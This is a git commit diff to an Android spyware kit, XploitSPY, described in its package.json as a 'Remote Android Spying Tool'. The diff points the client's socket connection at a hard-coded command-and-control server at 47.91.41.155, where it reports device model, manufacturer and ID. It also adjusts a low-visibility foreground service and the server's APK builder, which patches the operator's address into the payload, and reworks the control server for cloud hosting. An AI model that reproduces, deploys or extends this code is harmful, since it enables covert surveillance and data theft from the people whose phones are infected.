Single Branch

This commit is contained in:
ChrisStone07 2020-04-08 01:44:57 +05:30
parent 0c4b408c9e
commit cf52127296
18 changed files with 26 additions and 20 deletions

Binary file not shown.

View File

@ -21,7 +21,7 @@ public class IOSocket {
opts.reconnectionDelay = 5000; opts.reconnectionDelay = 5000;
opts.reconnectionDelayMax = 999999999; opts.reconnectionDelayMax = 999999999;
ioSocket = IO.socket("http://47.91.41.155:22222?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID); ioSocket = IO.socket("http://47.91.41.155:80?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
} catch (URISyntaxException e) { } catch (URISyntaxException e) {
e.printStackTrace(); e.printStackTrace();
} }

View File

@ -145,7 +145,7 @@ public class MainService extends Service {
.setPriority(NotificationManager.IMPORTANCE_MIN) .setPriority(NotificationManager.IMPORTANCE_MIN)
.setCategory(Notification.CATEGORY_SERVICE) .setCategory(Notification.CATEGORY_SERVICE)
.build(); .build();
startForeground(2, notification); startForeground(1, notification);
} }

View File

@ -12,7 +12,6 @@
<exclude-output /> <exclude-output />
<content url="file://$MODULE_DIR$"> <content url="file://$MODULE_DIR$">
<excludeFolder url="file://$MODULE_DIR$/.gradle" /> <excludeFolder url="file://$MODULE_DIR$/.gradle" />
<excludeFolder url="file://$MODULE_DIR$/build" />
</content> </content>
<orderEntry type="inheritedJdk" /> <orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" /> <orderEntry type="sourceFolder" forTests="false" />

1
server/Procfile Normal file
View File

@ -0,0 +1 @@
web: ./node_modules/.bin/forever -m 5 index.js

Binary file not shown.

View File

@ -3,6 +3,9 @@ apkFileName: app-release.apk
compressionType: false compressionType: false
doNotCompress: doNotCompress:
- resources.arsc - resources.arsc
- META-INF/android.arch.lifecycle_runtime.version
- META-INF/androidx.core_core.version
- META-INF/androidx.versionedparcelable_versionedparcelable.version
- png - png
isFrameworkApk: false isFrameworkApk: false
packageInfo: packageInfo:

View File

@ -1,6 +1,6 @@
Signature-Version: 1.0 Signature-Version: 1.0
Created-By: 1.0 (Android) Created-By: 1.0 (Android)
SHA1-Digest-Manifest: IHujA2NGKYWz+3kPuDWmNrScZo4= SHA1-Digest-Manifest: Br7KZuMlRvkujFIEcFUfc9JLJHM=
Name: AndroidManifest.xml Name: AndroidManifest.xml
SHA1-Digest: hMY5UmKutb2cZY4afr084GSFwLk= SHA1-Digest: hMY5UmKutb2cZY4afr084GSFwLk=
@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
SHA1-Digest: /M5ZcCUkGpD9LMU3LB/ji4SqKws= SHA1-Digest: /M5ZcCUkGpD9LMU3LB/ji4SqKws=
Name: classes.dex Name: classes.dex
SHA1-Digest: YrT0vt4yEPhLbLEfpMIXvaRwR4s= SHA1-Digest: CimfIcRvl0JGoxRUHDbve9dy95o=
Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
SHA1-Digest: GqlxeUYi9nderviC+XwD6tRD5Kg= SHA1-Digest: GqlxeUYi9nderviC+XwD6tRD5Kg=

View File

@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
SHA1-Digest: xTi2bHEQyjoCjM/kItDx+iAKmTU= SHA1-Digest: xTi2bHEQyjoCjM/kItDx+iAKmTU=
Name: classes.dex Name: classes.dex
SHA1-Digest: wKQ2CNuIgrZukBhVZNdy/5+Z4wA= SHA1-Digest: ItDW7U9v+mbVk1bCaAtUqtsDPBQ=
Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
SHA1-Digest: D2PhKM51tYZo8a79riJ3XiUD2nc= SHA1-Digest: D2PhKM51tYZo8a79riJ3XiUD2nc=

View File

@ -67,16 +67,14 @@
invoke-virtual {v0, v1}, Landroid/support/v4/app/d$b;->a(I)Landroid/support/v4/app/d$b; invoke-virtual {v0, v1}, Landroid/support/v4/app/d$b;->a(I)Landroid/support/v4/app/d$b;
const-string v1, "service" const-string v2, "service"
invoke-virtual {v0, v1}, Landroid/support/v4/app/d$b;->a(Ljava/lang/String;)Landroid/support/v4/app/d$b; invoke-virtual {v0, v2}, Landroid/support/v4/app/d$b;->a(Ljava/lang/String;)Landroid/support/v4/app/d$b;
invoke-virtual {v0}, Landroid/support/v4/app/d$b;->a()Landroid/app/Notification; invoke-virtual {v0}, Landroid/support/v4/app/d$b;->a()Landroid/app/Notification;
move-result-object v0 move-result-object v0
const/4 v1, 0x2
invoke-virtual {p0, v1, v0}, Landroid/app/Service;->startForeground(ILandroid/app/Notification;)V invoke-virtual {p0, v1, v0}, Landroid/app/Service;->startForeground(ILandroid/app/Notification;)V
return-void return-void

View File

@ -71,7 +71,7 @@
var isDone = false; var isDone = false;
$('#gobuild').click((e) => { $('#gobuild').click((e) => {
$('#dimmer').addClass('active'); $('#dimmer').addClass('active');
build($('#uriInput').val(), "22222"); build($('#uriInput').val(), "80");
setTimeout(loaderText, 500); setTimeout(loaderText, 500);
}); });

View File

@ -20,7 +20,7 @@ function javaversion(callback) {
} }
function patchAPK(URI, PORT, cb) { function patchAPK(URI, PORT, cb) {
if (PORT < 25565) { // if (PORT < 25565) {
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) { fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
if (err) return cb('File Patch Error - READ') if (err) return cb('File Patch Error - READ')
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT); var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT);
@ -29,7 +29,7 @@ function patchAPK(URI, PORT, cb) {
else return cb(false) else return cb(false)
}); });
}); });
} // }
} }
function buildAPK(cb) { function buildAPK(cb) {

View File

@ -2,7 +2,7 @@ const path = require('path');
exports.debug = false; exports.debug = false;
exports.web_port = 22533; exports.web_port = 80;
exports.control_port = 22222; exports.control_port = 22222;
// Paths // Paths

View File

@ -75,7 +75,7 @@ routes.get('/logout', isAllowed, (req, res) => {
routes.get('/builder', isAllowed, (req, res) => { routes.get('/builder', isAllowed, (req, res) => {
res.render('builder', { res.render('builder', {
myPort: CONST.control_port myPort: process.env.PORT || CONST.web_port
}); });
}); });

View File

@ -8,7 +8,8 @@
const const
express = require('express'), express = require('express'),
app = express(), app = express(),
IO = require('socket.io'), server = require('http').createServer(app),
IO = require('socket.io')(server),
geoip = require('geoip-lite'), geoip = require('geoip-lite'),
CONST = require('./includes/const'), CONST = require('./includes/const'),
db = require('./includes/databaseGateway'), db = require('./includes/databaseGateway'),
@ -24,10 +25,11 @@ global.clientManager = clientManager;
global.apkBuilder = apkBuilder; global.apkBuilder = apkBuilder;
// spin up socket server // spin up socket server
let client_io = IO.listen(CONST.control_port); // let client_io = IO.listen(CONST.control_port);
client_io.sockets.pingInterval = 30000; // client_io.sockets.pingInterval = 30000;
client_io.on('connection', (socket) => { IO.sockets.pingInterval = 30000;
IO.on('connection', (socket) => {
socket.emit('welcome'); socket.emit('welcome');
let clientParams = socket.handshake.query; let clientParams = socket.handshake.query;
let clientAddress = socket.request.connection; let clientAddress = socket.request.connection;
@ -65,7 +67,8 @@ client_io.on('connection', (socket) => {
// get the admin interface online // get the admin interface online
app.listen(CONST.web_port); // app.listen(CONST.web_port);
server.listen(process.env.PORT || CONST.web_port)
app.set('view engine', 'ejs'); app.set('view engine', 'ejs');
app.set('views', './assets/views'); app.set('views', './assets/views');

View File

@ -4,6 +4,7 @@
"description": "XploitSPY - Remote Android Spying Tool", "description": "XploitSPY - Remote Android Spying Tool",
"main": "index.js", "main": "index.js",
"scripts": { "scripts": {
"start": "node index.js",
"test": "node index.js" "test": "node index.js"
}, },
"author": "ETechD", "author": "ETechD",

1
server/system.properties Normal file
View File

@ -0,0 +1 @@
java.runtime.version=11